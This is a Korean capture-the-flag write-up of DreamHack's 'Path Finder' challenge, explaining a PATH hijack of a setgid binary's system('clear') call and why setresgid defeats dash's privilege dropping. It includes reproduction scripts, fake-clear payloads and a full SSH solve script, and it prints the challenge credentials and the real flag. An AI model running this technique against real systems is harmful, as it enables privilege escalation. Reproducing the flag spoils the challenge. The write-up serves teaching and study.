[🥈 Silver 2] 셸이 권한을 떨구기 전에 그 조건을 지워 버린다 — DreamHack Path Finder 풀이

2026-08-03·1분 읽기·

[🥈 Silver 2] 셸이 권한을 떨구기 전에 그 조건을 지워 버린다 — DreamHack Path Finder 풀이

setgid 바이너리가 system("clear") 를 부른다. 절대경로가 아니니 PATH 를 앞에서부터 훑고, 내가 심어 둔 clear 가 문제 그룹 권한으로 돈다. 그런데 setgid 비트만으로는 이게 통하지 않는다. dash 가 시작하면서 빌려온 권한을 스스로 내려놓기 때문이다. 그 방어를 무력화하는 게 바로 앞줄의 setresgid 한 줄이었다.

문제: DreamHack 워게임 — Path Finder 분류: misc 난이도: 🥈 Silver 2 FLAG: DH{e47d874ddc629f916d3d5ef6f0d0de90c7b151f9d7010325d051c811382b489f}

문제 설명이 세 줄이다. SSH 주소와 계정(pwn / dhctf11), 그리고 chal 이라는 16KB 짜리 바이너리 하나.

파일을 열어 보면 허무할 정도로 짧다. main 이 하는 일은 함수 호출 세 번이 전부다. 그런데 그 세 줄 중 두 줄이 서로를 받쳐 주고 있어서, 하나만 이해하면 절대 안 풀린다.

file extracted/chal && ls -l extracted/chal && nm -D extracted/chal
file 과 nm 으로 본 chal — PIE ELF 16048 바이트에 외부 심볼은 puts, setresgid, system 셋뿐이다
file 과 nm 으로 본 chal — PIE ELF 16048 바이트에 외부 심볼은 puts, setresgid, system 셋뿐이다

문제 개요

항목내용
문제명Path Finder (DreamHack 워게임 id 702)
난이도🥈 Silver 2
분류misc
제공chal 바이너리 1개 + SSH 접속 정보 (pwn / dhctf11)
환경Ubuntu 22.04, GCC 11.3.0, /bin/sh 는 dash
핵심 취약점PATH 하이재킹 (CWE-426 Untrusted Search Path)
같이 봐야 하는 것setgid 비트, setresgid, dash 의 권한 강등

풀이 흐름은 세 문장이다. chal 은 문제 그룹의 setgid 바이너리이고, 내부에서 system("clear") 를 부른다. clear 가 절대경로가 아니니 셸이 PATH 를 앞에서부터 훑는다. 그러니 내가 쓸 수 있는 디렉토리에 clear 라는 실행파일을 만들어 PATH 맨 앞에 붙이면, 그 파일이 문제 그룹 권한으로 실행된다.

여기까지는 교과서다. 이 문제가 실버 2인 이유는 그 다음에 있다.



🧩 배경 — 리눅스가 프로세스에 자격을 매다는 법

공격을 설명하려면 gid 세 개를 먼저 구분해야 한다. 리눅스 프로세스는 그룹 자격을 세 벌 들고 다닌다.

이름약칭무엇인가
real gidrgid"원래 누구인가". 로그인한 사용자의 그룹
effective gidegid"지금 무슨 권한으로 파일을 만지는가". 권한 검사는 이걸 본다
saved gidsgid"잠시 내려놨다가 되찾을 수 있는 것". 임시 강등용 보관함

평소엔 셋이 같다. 갈라지는 건 setgid 비트가 달린 실행파일을 돌릴 때다. 커널은 그 파일을 exec 하면서 egid 와 sgid 를 파일 소유 그룹으로 올려 준다. rgid 는 그대로 둔다.

즉 setgid 프로그램 안에서는 rgid != egid 인 상태가 된다. "원래 나는 pwn 인데, 지금은 문제 그룹 권한을 빌려 쓰는 중"이라는 뜻이고, 이 불일치 자체가 나중에 결정적인 신호가 된다.

ls 에서 setgid 비트는 그룹 자리의 x 가 s 로 바뀌어 보인다. 그룹 실행 권한이 없는데 setgid 만 켜져 있으면 대문자 S 로 나온다 — 이 문제의 flag 파일이 그렇다. (그 조합은 역사적으로 mandatory locking 표시로 쓰였고 지금은 의미가 없다. 여기서 중요한 건 그 옆의 그룹 읽기 비트다.)


🔬 정찰 — 16KB 안에 뭐가 들어 있나

nm -D 가 뽑아 준 외부 심볼이 넷뿐이다. __libc_start_main, puts, setresgid, system. 런타임 시작 코드를 빼면 이 프로그램이 libc 에서 빌려 쓰는 기능은 셋이다. main 을 뜯어보면 그 셋이 순서대로 한 번씩 불린다.

읽기 편하게 sed 로 주석을 얹었다. 치환 규칙은 문제 폴더의 annotate_main.sed 에 넣어 뒀다 (따옴표가 셸을 지나며 깨지지 않게 인라인 대신 파일로 둔다).

s/\(call.*<setresgid@plt>\)/\1        <-- r\/e\/s gid 를 전부 1001 로 고정/
s/\(call.*<system@plt>\)/\1           <-- 인자가 절대경로가 아니다 (PATH 탐색)/
s/\(call.*<puts@plt>\)/\1             <-- "Tada~!" 출력, 그게 전부/
s/\(mov *edi,0x3e9\)/\1                 <-- 1001 = 문제 그룹의 gid/
objdump -d -M intel --no-show-raw-insn extracted/chal | sed -n "/<main>:/,/^$/p" | sed -f annotate_main.sed
objdump 로 본 main — setresgid 에 0x3e9 셋을 넘기고 system 을 부른 뒤 puts 로 끝난다
objdump 로 본 main — setresgid 에 0x3e9 셋을 넘기고 system 을 부른 뒤 puts 로 끝난다

0x3e9 은 1001이다. edi, esi, edx 에 같은 값을 넣고 setresgid 를 부르니 인자 셋이 전부 1001. 그 다음 lea rax,[rip+0xe53] 로 .rodata 의 문자열을 집어 system 에 넘긴다.

소스로 되돌리면 이렇게 된다.

int main(void) {
    setresgid(1001, 1001, 1001);
    system("clear");
    puts("Tada~!");
    return 0;
}

정적 분석만으로 끝내지 않고 실제로 돌려서 확인했다. gdb 배치 스크립트를 문제 폴더에 verify.gdb 로 뒀다.

set confirm off
set pagination off
break main
run
break setresgid
break system
continue
printf "\n[1] setresgid(rgid=%d, egid=%d, sgid=%d)\n", $rdi, $rsi, $rdx
continue
printf "\n[2] system(\"%s\")   <- 절대경로가 아니다\n", (char *)$rdi
printf "[3] 인자 문자열이 놓인 주소: %p\n", (char *)$rdi
continue
quit

TERM=dumb 을 앞에 붙인 이유가 있다. 이 프로그램은 진짜 clear 를 실행하므로, 그냥 돌리면 터미널이 지워져서 위쪽 출력이 통째로 날아간다. 캡쳐를 찍다가 알았다.

TERM=dumb gdb -q -batch -x verify.gdb ./extracted/chal
gdb 배치 실행 결과 — setresgid 인자가 1001 셋이고 system 이 받은 문자열은 clear 다
gdb 배치 실행 결과 — setresgid 인자가 1001 셋이고 system 이 받은 문자열은 clear 다

__libc_system (line=0x555555556004 "clear"). 인자가 clear 넉 자다. 슬래시가 하나도 없으니 셸은 이걸 경로가 아니라 명령 이름으로 취급하고 PATH 를 뒤진다.

🖥️ 서버는 어떻게 생겼나

바이너리만 봐서는 gid 1001 이 무슨 그룹인지 모른다. 접속해서 확인했다.

sshpass -p dhctf11 ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
  -o LogLevel=ERROR -p 12750 pwn@host3.dreamhack.games "id; ls -l /home/pwn; getent group pwned"
원격 SSH 정찰 — chal 은 root pwned 소유 setgid 바이너리이고 flag 는 그룹 읽기만 열려 있으며 pwned 의 gid 는 1001 이다
원격 SSH 정찰 — chal 은 root pwned 소유 setgid 바이너리이고 flag 는 그룹 읽기만 열려 있으며 pwned 의 gid 는 1001 이다

배치가 한눈에 들어온다.

항목값의미
내 계정uid=1000(pwn) gid=1000(pwn)그룹 pwned 에 안 들어 있다
chal-rwxr-sr-x root pwnedsetgid 비트 — 실행하면 egid 가 pwned 가 된다
flag-rw-r-S--- root pwned, 69바이트소유자 rw, 그룹 r, 나머지 없음
getent group pwnedpwned:x:1001바이너리의 0x3e9 이 이 그룹이다

flag 가 69바이트라는 것도 미리 힌트를 준다. DH{ 3자 + 16진수 64자 + } 1자 = 68자, 개행 하나를 더하면 69다. 나중에 뽑은 값이 정확히 그 모양이었다.

정리하면 이렇다. 나는 pwned 그룹이 아니라 flag 를 못 읽는다. 그런데 chal 을 실행하는 동안만큼은 내 프로세스의 egid 가 pwned 다. 그 잠깐 사이에 내가 고른 코드를 끼워 넣으면 된다. 끼워 넣을 자리는 system("clear") 이다.



🧱 배경 — system() 은 셸을 부르고, 셸은 PATH 를 훑는다

system("clear") 는 clear 를 직접 실행하지 않는다. /bin/sh -c clear 를 띄운다. 그 셸이 clear 라는 이름을 실제 파일로 바꾸는 일을 맡는다.

이름에 슬래시가 없으면 셸은 PATH 를 콜론으로 쪼개서 앞에서부터 각 디렉토리에 그 이름이 있는지 본다. 찾으면 거기서 멈춘다. 그러니 순서가 전부다.

말로만 하면 믿기 어려우니 strace 로 봤다. 가짜 clear 를 PATH 뒤에 둘 때와 앞에 둘 때를 비교한다.

#!/bin/bash
# repro/exp_path_search.sh
set -eu
 
HIJACK=/tmp/hijack
mkdir -p "$HIJACK"
printf '#!/bin/sh\nid -g -n\n' > "$HIJACK/clear"
chmod +x "$HIJACK/clear"
 
TRACE="strace -f -e trace=execve,newfstatat -e signal=none"
 
echo "== [A] 가짜 clear 가 PATH 뒤쪽일 때 =="
PATH=/usr/local/bin:/usr/bin:/bin:$HIJACK $TRACE /home/path_finder/chal 2>&1 | grep clear
echo
echo "== [B] 가짜 clear 가 PATH 맨 앞일 때 =="
PATH=$HIJACK:/usr/local/bin:/usr/bin:/bin $TRACE /home/path_finder/chal 2>&1 | grep clear
docker run --rm --cap-add=SYS_PTRACE -v "$PWD/repro:/exp" pathfinder-tools bash /exp/exp_path_search.sh
strace 로 본 PATH 탐색 — 뒤쪽에 두면 usr bin clear 가 먼저 걸리고 앞쪽에 두면 tmp hijack clear 로 곧장 간다
strace 로 본 PATH 탐색 — 뒤쪽에 두면 usr bin clear 가 먼저 걸리고 앞쪽에 두면 tmp hijack clear 로 곧장 간다

[A] 를 보면 dash 가 /usr/local/bin/clear 를 먼저 newfstatat 으로 두드렸다가 ENOENT 를 받고, 그 다음 /usr/bin/clear 를 찾아서 execve 한다. 순서대로 훑는 게 그대로 보인다.

[B] 는 첫 후보가 /tmp/hijack/clear 라 두드리자마자 걸린다. /usr/bin/clear 는 쳐다보지도 않는다.

여기서 한 가지가 눈에 띈다. chal 은 setgid 바이너리인데 PATH 를 그대로 물려받았다. 동적 로더는 setuid/setgid 실행을 감지하면 LD_PRELOAD·LD_LIBRARY_PATH 같은 변수를 무시한다. 하지만 PATH 는 로더가 관여하는 변수가 아니다. 그건 프로그램이 알아서 할 일이다. 그리고 이 프로그램은 알아서 하지 않았다.

🧪 로컬에 판을 다시 깔기

라이브 서버에 바로 붙어서 이것저것 찔러 보는 건 좋은 습관이 아니다. main 을 정확히 복원했으니 같은 환경을 로컬에 만들어 놓고 거기서 결론을 낸 다음, 확인만 원격에서 하기로 했다.

배포 바이너리가 GCC 11.3.0 (Ubuntu 22.04) 산출물이라 베이스 이미지를 맞췄다. 그룹·소유자·퍼미션도 원격에서 본 그대로 재현한다. 실험용 바이너리 셋(뒤에서 쓴다)도 같이 넣었다.

# repro/Dockerfile.full — 이 파일 하나로 실험 환경이 전부 만들어진다.
#   docker build -f repro/Dockerfile.full -t pathfinder repro/
FROM ubuntu:22.04
 
RUN apt-get update && \
    apt-get install -y --no-install-recommends gcc libc6-dev ncurses-bin strace gdb && \
    rm -rf /var/lib/apt/lists/*
 
# 원격과 같은 배치: 로그인 계정 pwn(1000), flag 소유 그룹 path_finder(1001)
# (실제 서버의 그룹명은 pwned 지만, 중요한 건 이름이 아니라 gid 1001 이다)
RUN groupadd -g 1000 pwn && useradd -u 1000 -g 1000 -m -s /bin/bash pwn && \
    groupadd -g 1001 path_finder && \
    mkdir -p /home/path_finder
 
COPY chal.c chal_nosetresgid.c egid_probe.c execl_probe.c /tmp/
RUN cd /tmp && \
    gcc -o /home/path_finder/chal              chal.c && \
    gcc -o /home/path_finder/chal_nosetresgid  chal_nosetresgid.c && \
    gcc -o /home/path_finder/egid_probe        egid_probe.c && \
    gcc -o /home/path_finder/execl_probe       execl_probe.c && \
    rm -f /tmp/*.c
 
# flag 는 root:path_finder 소유에 그룹 읽기만 — pwn 계정으로는 못 읽는다.
# 네 바이너리 모두 setgid 비트를 똑같이 달아 둔다(2755). 다른 건 소스뿐이다.
RUN echo 'DH{LOCAL_REPRO_NOT_THE_REAL_FLAG}' > /home/path_finder/flag && \
    chown root:path_finder /home/path_finder/flag && chmod 040 /home/path_finder/flag && \
    chown root:path_finder /home/path_finder/chal /home/path_finder/chal_nosetresgid \
                           /home/path_finder/egid_probe /home/path_finder/execl_probe && \
    chmod 2755 /home/path_finder/chal /home/path_finder/chal_nosetresgid \
               /home/path_finder/egid_probe /home/path_finder/execl_probe
 
WORKDIR /home/pwn
USER pwn
CMD ["/bin/bash"]

재현 환경이 진짜인지부터 확인했다. 내가 복원한 chal.c 를 컴파일한 결과가 배포된 바이너리와 같은 코드를 만드는지 diff 로 본다.

#!/bin/bash
# repro/exp_verify_rebuild.sh
set -u
 
DIST=/work/extracted/chal
MINE=/home/path_finder/chal
 
echo "== 크기 =="
stat -c '%s  %n' "$DIST" "$MINE"
echo
echo "== gcc 버전 =="
gcc --version | head -1
echo
echo "== main 디스어셈블리 차이 =="
cut() { objdump -d -M intel --no-show-raw-insn "$1" | sed -n '/<main>:/,/^$/p'; }
if diff <(cut "$DIST") <(cut "$MINE"); then
    echo "차이 없음 — 복원한 소스가 배포본과 같은 코드를 만든다"
fi
docker run --rm -v "$PWD/repro:/exp" -v "$PWD:/work:ro" pathfinder-tools bash /exp/exp_verify_rebuild.sh
재현 검증 — 배포본과 재컴파일한 바이너리가 둘 다 16048 바이트이고 main 디스어셈블리에 차이가 없다
재현 검증 — 배포본과 재컴파일한 바이너리가 둘 다 16048 바이트이고 main 디스어셈블리에 차이가 없다

크기가 16048바이트로 같고 main 디스어셈블리도 완전히 일치한다. 여기서 얻은 결론은 원격에도 그대로 적용된다.

기준선을 찍어 둔다. 지금 상태로는 flag 를 못 읽고, chal 은 그냥 Tada~! 만 뱉는다.

#!/bin/bash
# repro/exp_baseline.sh
echo "== 내가 누구인가 =="
id
echo
echo "== 문제 파일 권한 =="
ls -l /home/path_finder
echo
echo "== flag 를 그냥 읽어 보면 =="
cat /home/path_finder/flag
echo
echo "== chal 을 그냥 실행하면 =="
/home/path_finder/chal
docker run --rm -v "$PWD/repro:/exp" pathfinder-tools bash /exp/exp_baseline.sh
로컬 재현 기준선 — pwn 계정은 uid 도 gid 도 1000 이고 chal 은 root path_finder 소유 setgid 파일이라, flag 를 그냥 cat 하면 Permission denied 가 뜨고 chal 은 Tada 한 줄만 뱉는다
로컬 재현 기준선 — pwn 계정은 uid 도 gid 도 1000 이고 chal 은 root path_finder 소유 setgid 파일이라, flag 를 그냥 cat 하면 Permission denied 가 뜨고 chal 은 Tada 한 줄만 뱉는다

이제 가짜 clear 를 심는다. 하는 일은 네 줄이다. 쓸 수 있는 디렉토리를 잡고, 거기에 clear 라는 셸 스크립트를 쓰고, 실행 권한을 주고, PATH 맨 앞에 붙여 chal 을 돌린다.

#!/bin/bash
# repro/exp_hijack.sh
set -eu
 
HIJACK=/tmp/hijack
mkdir -p "$HIJACK"
printf '#!/bin/sh\nid\ncat /home/path_finder/flag\n' > "$HIJACK/clear"
chmod +x "$HIJACK/clear"
 
echo "== 심어 둔 가짜 clear =="
ls -l "$HIJACK/clear"
cat "$HIJACK/clear"
echo
echo "== PATH 맨 앞에 붙여 chal 실행 =="
PATH="$HIJACK:$PATH" /home/path_finder/chal
docker run --rm -v "$PWD/repro:/exp" pathfinder-tools bash /exp/exp_hijack.sh
로컬 하이재킹 성공 — PATH 맨 앞에 심어 둔 40바이트짜리 가짜 clear 가 실행되면서 gid 가 1001 path_finder 로 바뀌고, 재현용 더미 flag 를 그대로 읽어 낸 뒤 Tada 가 찍힌다
로컬 하이재킹 성공 — PATH 맨 앞에 심어 둔 40바이트짜리 가짜 clear 가 실행되면서 gid 가 1001 path_finder 로 바뀌고, 재현용 더미 flag 를 그대로 읽어 낸 뒤 Tada 가 찍힌다

gid=1001(path_finder) 로 바뀐 채 더미 flag 가 나왔다. 공격은 성립한다.

그런데 여기서 한 가지가 걸린다. 출력을 다시 보면 gid 가 1001이다. egid 가 아니라 gid 다. setgid 비트는 egid 만 올려 준다고 했는데, 어째서 rgid 까지 1001이 됐을까. 답은 main 첫 줄에 있다.



💣 핵심 — setresgid 한 줄이 왜 거기 있나

setresgid(1001, 1001, 1001) 를 처음 봤을 때는 장식처럼 보였다. 어차피 setgid 비트로 egid 가 1001인데 굳이 셋을 다 1001로 맞출 이유가 뭔가.

그래서 그 한 줄만 뺀 바이너리를 만들어 비교했다. setgid 비트를 포함해 나머지는 전부 동일하다.

// repro/chal_nosetresgid.c — 원본에서 setresgid 한 줄만 뺀 것
#include <stdio.h>
#include <stdlib.h>
 
int main(void) {
    system("clear");
    puts("Tada~!");
    return 0;
}
#!/bin/bash
# repro/exp_contrast.sh
set -eu
 
HIJACK=/tmp/hijack
mkdir -p "$HIJACK"
printf '#!/bin/sh\nid\ncat /home/path_finder/flag\n' > "$HIJACK/clear"
chmod +x "$HIJACK/clear"
 
echo "== 두 바이너리의 권한은 동일 =="
ls -l /home/path_finder/chal /home/path_finder/chal_nosetresgid
echo
echo "== [A] setresgid 있는 원본 =="
PATH="$HIJACK:$PATH" /home/path_finder/chal
echo
echo "== [B] setresgid 만 뺀 것 =="
PATH="$HIJACK:$PATH" /home/path_finder/chal_nosetresgid
docker run --rm -v "$PWD/repro:/exp" pathfinder-tools bash /exp/exp_contrast.sh
대조 실험 — 권한이 같은 두 바이너리인데 setresgid 있는 쪽만 gid 1001 로 flag 를 읽고 없는 쪽은 거부당한다
대조 실험 — 권한이 같은 두 바이너리인데 setresgid 있는 쪽만 gid 1001 로 flag 를 읽고 없는 쪽은 거부당한다

두 파일의 퍼미션은 글자 하나까지 같다. 그런데 결과가 갈린다.

  • [A] gid=1001(path_finder) → flag 읽힘
  • [B] gid=1000(pwn) → Permission denied

[B] 에서 권한이 사라졌다. 누가 떨어뜨렸을까. 커널일까, 셸일까.

범인을 특정하기

setgid 비트만 달고 setresgid 는 부르지 않는 프로브를 하나 만들었다. 프로세스 안에서 본 gid 와, system() 이 띄운 셸 안에서 본 gid 를 나란히 찍는다.

// repro/egid_probe.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main(void) {
    printf("[프로세스 안]  getgid()=%d  getegid()=%d\n", getgid(), getegid());
    fflush(stdout);
    printf("[system() 안] ");
    fflush(stdout);
    system("id -g -n; grep ^Gid /proc/self/status");
    return 0;
}
#!/bin/bash
# repro/exp_egid_probe.sh
echo "== /bin/sh 의 정체 =="
ls -l /bin/sh
echo
echo "== egid_probe 권한 (setresgid 호출은 없다) =="
ls -l /home/path_finder/egid_probe
echo
/home/path_finder/egid_probe
docker run --rm -v "$PWD/repro:/exp" pathfinder-tools bash /exp/exp_egid_probe.sh
egid 프로브 — 프로세스 안에서는 egid 가 1001 인데 system 이 띄운 셸 안에서는 Gid 네 값이 모두 1000 이다
egid 프로브 — 프로세스 안에서는 egid 가 1001 인데 system 이 띄운 셸 안에서는 Gid 네 값이 모두 1000 이다

선명하다.

  • 프로세스 안: getgid()=1000 getegid()=1001 → 커널은 제대로 올려 줬다
  • system() 안: Gid: 1000 1000 1000 1000 → 여기서 전부 1000이 됐다

즉 커널은 자기 할 일을 했고, system() 과 그 안의 셸 사이 어딘가에서 권한이 사라진다.

셸을 빼면 어떻게 되나

system() 대신 execl() 로 다른 프로그램을 직접 부르는 프로브를 하나 더 만들었다. 조건은 같다 — setgid 비트만 있고 setresgid 는 없다. 차이는 셸이 끼느냐 아니냐 하나뿐이다.

// repro/execl_probe.c
#include <stdio.h>
#include <unistd.h>
 
int main(void) {
    printf("[프로세스 안]  getgid()=%d  getegid()=%d\n", getgid(), getegid());
    fflush(stdout);
    printf("[execl 로 직접] ");
    fflush(stdout);
    execl("/usr/bin/id", "id", (char *)NULL);   // ELF 실행파일 — 셸이 끼지 않는다
    perror("execl");
    return 1;
}
#!/bin/bash
# repro/exp_shell_or_kernel.sh
echo "== 두 프로브의 권한은 동일 (setresgid 는 둘 다 호출하지 않는다) =="
ls -l /home/path_finder/egid_probe /home/path_finder/execl_probe
echo
echo "== [1] system() — /bin/sh 를 거친다 =="
/home/path_finder/egid_probe
echo
echo "== [2] execl() — 셸을 거치지 않고 /usr/bin/id 로 직행 =="
/home/path_finder/execl_probe
docker run --rm -v "$PWD/repro:/exp" pathfinder-final bash /exp/exp_shell_or_kernel.sh
셸 유무 대조 — system 을 거치면 gid 가 1000 으로 떨어지지만 execl 로 직행하면 egid 1001 이 그대로 남는다
셸 유무 대조 — system 을 거치면 gid 가 1000 으로 떨어지지만 execl 로 직행하면 egid 1001 이 그대로 남는다

execl() 로 넘어간 id 는 egid=1001(path_finder) 를 그대로 들고 있다. 같은 조건에서 셸만 빼면 권한이 살아남는다. 범인은 셸이다.

dash 는 그게 정상이라고 문서에 적어 놨다

Ubuntu 에서 /bin/sh 는 dash 다. 그 man 페이지의 -p 옵션 설명이 이 동작을 그대로 기술한다.

zcat /usr/share/man/man1/dash.1.gz | sed -n "260,263p"
dash man 페이지 원문 — privileged 옵션은 기본값이 아니며 setuid 프로그램이 system 이나 popen 을 잘못 쓰는 것을 막기 위한 것이라고 적혀 있다
dash man 페이지 원문 — privileged 옵션은 기본값이 아니며 setuid 프로그램이 system 이나 popen 을 잘못 쓰는 것을 막기 위한 것이라고 적혀 있다

Do not attempt to reset effective uid if it does not match uid. This is not set by default to help avoid incorrect usage by setuid root programs via system(3) or popen(3).

-p 를 켜야 "리셋하지 않는다"는 뜻이니, 기본값은 리셋한다는 말이다. 그리고 그 이유로 system(3) 을 대놓고 지목한다. dash 는 시작할 때 egid != rgid 를 보고 "이건 빌려온 권한이다"라고 판단해 스스로 내려놓는다. setuid/setgid 프로그램이 셸을 부르는 게 워낙 흔한 실수라 셸 쪽에서 미리 막아 둔 것이다.

그래서 setresgid 가 필요하다

방어의 판단 기준은 egid != rgid 다. 그러면 그 조건을 지워 버리면 된다.

setresgid(1001, 1001, 1001) 는 rgid 까지 1001로 끌어올린다. 이제 셋이 전부 같으니 dash 가 보기엔 "빌려온 권한"이 아니라 "원래 이 사람 권한"이다. 강등 코드가 아예 돌지 않는다.

부수 효과가 하나 더 있다. sgid 도 1001이라 원래 gid 로 되돌아갈 길이 사라진다. 권한이 임시가 아니라 영구가 된다.

setgid 비트만 있을 때와 setresgid 까지 부를 때의 gid 흐름 비교 다이어그램 — 앞쪽은 셸을 거치며 egid 가 실제 gid 로 떨어지지만, 뒤쪽은 real gid 까지 1001 로 고정돼 셸 안에서도 그대로 남는다
setgid 비트만 있을 때와 setresgid 까지 부를 때의 gid 흐름 비교 다이어그램 — 앞쪽은 셸을 거치며 egid 가 실제 gid 로 떨어지지만, 뒤쪽은 real gid 까지 1001 로 고정돼 셸 안에서도 그대로 남는다

출제자가 setresgid 를 넣은 건 실수가 아니라 문제를 풀리게 만들기 위한 장치다. 그게 없으면 PATH 하이재킹이 성립해도 얻는 게 없다.



🐛 삽질

▶🕳️ 삽질 1 — 실패인데 실패로 안 보이는 세 가지

이 문제의 함정은 전부 "틀렸는데 화면이 정상"이라는 공통점을 갖는다. chal 은 무슨 일이 있어도 Tada~! 를 찍고 0으로 끝나기 때문에, 출력만 보면 성공과 실패가 구분되지 않는다. 실제로 겪었거나 겪기 쉬운 것 셋을 한 스크립트로 재현했다.

#!/bin/bash
# repro/exp_traps.sh
HIJACK=/tmp/trap
mkdir -p "$HIJACK"
printf '#!/bin/sh\ncat /home/path_finder/flag\n' > "$HIJACK/clear"
 
echo "== [함정1] chmod +x 를 빼먹었다 =="
ls -l "$HIJACK/clear"
PATH="$HIJACK:$PATH" /home/path_finder/chal
echo
 
echo "== [함정2] PATH 를 통째로 갈아치웠다 =="
chmod +x "$HIJACK/clear"
PATH="$HIJACK" /home/path_finder/chal
echo
 
echo "== [함정3] 현재 디렉토리에 두고 PATH 는 그대로 뒀다 =="
cp "$HIJACK/clear" /home/pwn/clear
cd /home/pwn && ls -l clear && /home/path_finder/chal
docker run --rm -v "$PWD/repro:/exp" pathfinder-tools bash /exp/exp_traps.sh
함정 세 가지 재현 — 실행권한을 빼먹으면 PATH 탐색이 그냥 지나가고, PATH 를 통째로 갈아치우면 가짜 clear 안의 cat 이 not found 로 죽고, 현재 디렉토리에만 두면 아예 걸리지 않아 셋 다 Tada 만 남는다
함정 세 가지 재현 — 실행권한을 빼먹으면 PATH 탐색이 그냥 지나가고, PATH 를 통째로 갈아치우면 가짜 clear 안의 cat 이 not found 로 죽고, 현재 디렉토리에만 두면 아예 걸리지 않아 셋 다 Tada 만 남는다

함정 1 — chmod +x 누락. 셸은 PATH 후보를 훑을 때 실행 가능한지도 본다. 실행 비트가 없으면 그 파일을 그냥 건너뛰고 다음 디렉토리로 간다. 그래서 진짜 /usr/bin/clear 가 대신 돌고 Tada~! 만 뜬다. "내 파일이 안 불렸다"는 신호가 어디에도 없다. 파일이 없어서 실패한 것과 화면이 똑같다.

함정 2 — PATH 를 통째로 갈아치우기. PATH=/tmp/trap 처럼 기존 값을 날리면 가짜 clear 는 제대로 불리는데, 그 안의 cat 을 못 찾는다. /tmp/trap/clear: 2: cat: not found 가 뜬다. 반드시 $PATH 를 뒤에 이어 붙이거나, 안에서 절대경로를 쓴다.

함정 3 — 현재 디렉토리에 두기. 요즘 배포판의 기본 PATH 에는 . 이 없다. clear 를 홈에 만들어 두고 거기서 실행해도 아무 일도 안 일어난다. PATH 를 직접 손대지 않으면 이 공격은 시작조차 안 된다.

▶🕳️ 삽질 2 — 셸을 안 거치는 프로브를 만들었는데 셸이 끼어 있었다

"권한을 떨군 게 셸이다"를 증명하려고 execl() 프로브를 만들 때 처음엔 이렇게 썼다.

execl("/tmp/hijack/clear", "clear", (char *)NULL);

가짜 clear 를 직접 exec 하니 셸을 안 거친다고 생각했다. 결과는 이랬다.

== [2] execl() — 셸을 거치지 않는다 ==
[프로세스 안]  getgid()=1000  getegid()=1001
[execl 로 직접] Gid:	1000	1000	1000	1000

system() 으로 부른 것과 결과가 똑같다. 잠깐 "그럼 커널이 범인인가" 싶었는데 아니었다.

그 가짜 clear 는 #!/bin/sh 로 시작하는 셸 스크립트다. 커널은 shebang 을 보고 결국 /bin/sh 를 띄운다. 셸을 피한 게 아니라 한 겹 감춘 것뿐이었다.

대상을 ELF 실행파일(/usr/bin/id)로 바꾸니 그제야 egid=1001 이 살아남았다. "셸을 거치지 않는다"고 말하려면 exec 대상이 스크립트가 아니어야 한다.

▶🕳️ 삽질 3 — 캡쳐를 찍는데 화면이 계속 지워졌다

gdb 실행 화면을 캡쳐했더니 마지막 세 줄만 남았다. 브레이크포인트 출력도, 내가 찍은 [1] setresgid(...) 도 전부 사라져 있었다.

원인은 문제 그 자체였다. chal 이 system("clear") 를 부르고, 그 clear 가 진짜로 터미널을 지운다. gdb 가 자식 프로세스를 끝까지 돌리니 화면이 통째로 날아간 것이다.

TERM=dumb 을 앞에 붙여 해결했다. clear 는 TERM 을 보고 화면 지우는 시퀀스를 고르는데, dumb 에는 그런 게 없어서 TERM environment variable not set. 비슷한 불평만 하고 아무것도 못 지운다.

도커로 돌린 실험들은 이 문제가 없었다. docker run 에 -t 를 안 줘서 컨테이너 안 TERM 이 비어 있기 때문이다. 같은 이유로 앞의 캡쳐들에 TERM environment variable not set. 이 섞여 있다.



🚀 Full Exploit

로컬에서 확인이 끝났으니 원격은 확인만 하면 된다. 스크립트 하나로 끝난다.

#!/bin/sh
# Path Finder (DreamHack, Silver 2, misc) — 자체 완결 익스플로잇
#
# 취약점: chal 이 setresgid(1001,1001,1001) 로 실/유효/저장 gid 를 전부 pwned 그룹에 맞춘 뒤
#         system("clear") 를 부른다. "clear" 는 절대경로가 아니라 PATH 탐색 대상이고,
#         gid 셋이 일치하니 /bin/sh(dash) 의 권한 강등 방어도 걸리지 않는다.
# 공격  : 쓰기 가능한 디렉토리에 실행 가능한 가짜 clear 를 심고 PATH 맨 앞에 붙여 chal 을 실행.
#         가짜 clear 가 gid=pwned 로 돌아 flag 를 읽는다.
#
# 사용법: ./solve.sh <host> <port>     (예: ./solve.sh host3.dreamhack.games 12750)
#         드림핵 SSH 계정은 문제 설명에 공개된 pwn / dhctf11 이다.
 
set -eu
 
HOST="${1:?usage: $0 <host> <port>}"
PORT="${2:?usage: $0 <host> <port>}"
USER_NAME=pwn
PASSWORD=dhctf11
 
SSH_OPTS="-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR"
 
# 원격에서 실행할 페이로드. 여기서 하는 일은 딱 네 줄이다.
PAYLOAD='
set -eu
HIJACK=$(mktemp -d /tmp/pf.XXXXXX)          # 1) 내가 쓸 수 있는 디렉토리
printf "#!/bin/sh\nid\ncat /home/pwn/flag\n" > "$HIJACK/clear"   # 2) 가짜 clear
chmod +x "$HIJACK/clear"                     # 3) 실행 권한 (없으면 PATH 탐색이 그냥 지나친다)
PATH="$HIJACK:$PATH" /home/pwn/chal          # 4) PATH 맨 앞에 붙여 실행
rm -rf "$HIJACK"
'
 
sshpass -p "$PASSWORD" ssh $SSH_OPTS -p "$PORT" "$USER_NAME@$HOST" "$PAYLOAD"

mktemp -d 를 쓴 이유는 두 가지다. 남이 미리 만들어 둔 디렉토리를 밟지 않고, 같은 서버에서 여러 번 돌려도 앞 실행의 잔재에 속지 않기 위해서다. /tmp/hijack 처럼 고정 이름을 쓰면 이전 실행의 파일이 남아 "이번에도 성공했다"고 착각하기 쉽다.

./solve.sh host3.dreamhack.games 12750
라이브 서버 익스플로잇 성공 — solve.sh 가 원격에 가짜 clear 를 심고 chal 을 돌리자 gid 가 1001 pwned 로 바뀐 채 진짜 flag 가 출력되고 마지막 줄에 Tada 가 찍혔다
라이브 서버 익스플로잇 성공 — solve.sh 가 원격에 가짜 clear 를 심고 chal 을 돌리자 gid 가 1001 pwned 로 바뀐 채 진짜 flag 가 출력되고 마지막 줄에 Tada 가 찍혔다
uid=1000(pwn) gid=1001(pwned) groups=1001(pwned),1000(pwn)
DH{e47d874ddc629f916d3d5ef6f0d0de90c7b151f9d7010325d051c811382b489f}
Tada~!

